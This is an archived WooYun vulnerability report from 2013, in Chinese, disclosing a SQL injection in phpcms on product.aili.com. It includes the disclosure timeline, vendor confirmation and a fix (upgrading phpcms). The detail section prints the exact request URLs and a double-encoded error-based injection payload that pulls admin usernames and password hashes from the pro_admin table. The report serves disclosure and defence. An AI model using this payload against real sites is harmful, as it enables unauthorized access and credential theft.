漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-023286
漏洞标题：爱丽网某处SQL注射，管理密码泄漏
相关厂商：aili.com
漏洞作者： Demon
提交时间：2013-05-08 16:58
修复时间：2013-06-22 16:59
公开时间：2013-06-22 16:59
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-05-08： 细节已通知厂商并且等待厂商处理中
2013-05-08： 厂商已经确认，细节仅向厂商公开
2013-05-18： 细节向核心白帽子及相关领域专家公开
2013-05-28： 细节向普通白帽子公开
2013-06-07： 细节向实习白帽子公开
2013-06-22： 细节向公众公开
简要描述：
爱丽网某处SQL注射
详细说明：
问题出在product.aili.com上，由于采用phpcms搭建，存在sql注射。
首先通过http://product.aili.com/index.php?m=member&c=index&a=register&siteid=1
注册一个用户，通过之后，在登陆了的基础上访问
http://product.aili.com/api.php?op=add_favorite&url=demon.aaa&title=%2527
可以爆出数据库名称。如图：
之后再访问
http://product.aili.com/api.php?op=add_favorite&url=pro&title=%2527%2520and%2520%2528select%25201%2520from%2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252Cpassword%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from%2520pro_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and%2520%25271%2527%253D%25271
成功爆出admin的密码的md5值，如图：
漏洞证明：
证明：
修复方案：
升级phpcms
版权声明：转载请注明来源 Demon@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2013-05-08 19:03
厂商回复：
注入必修！嘎嘎
最新状态：
暂无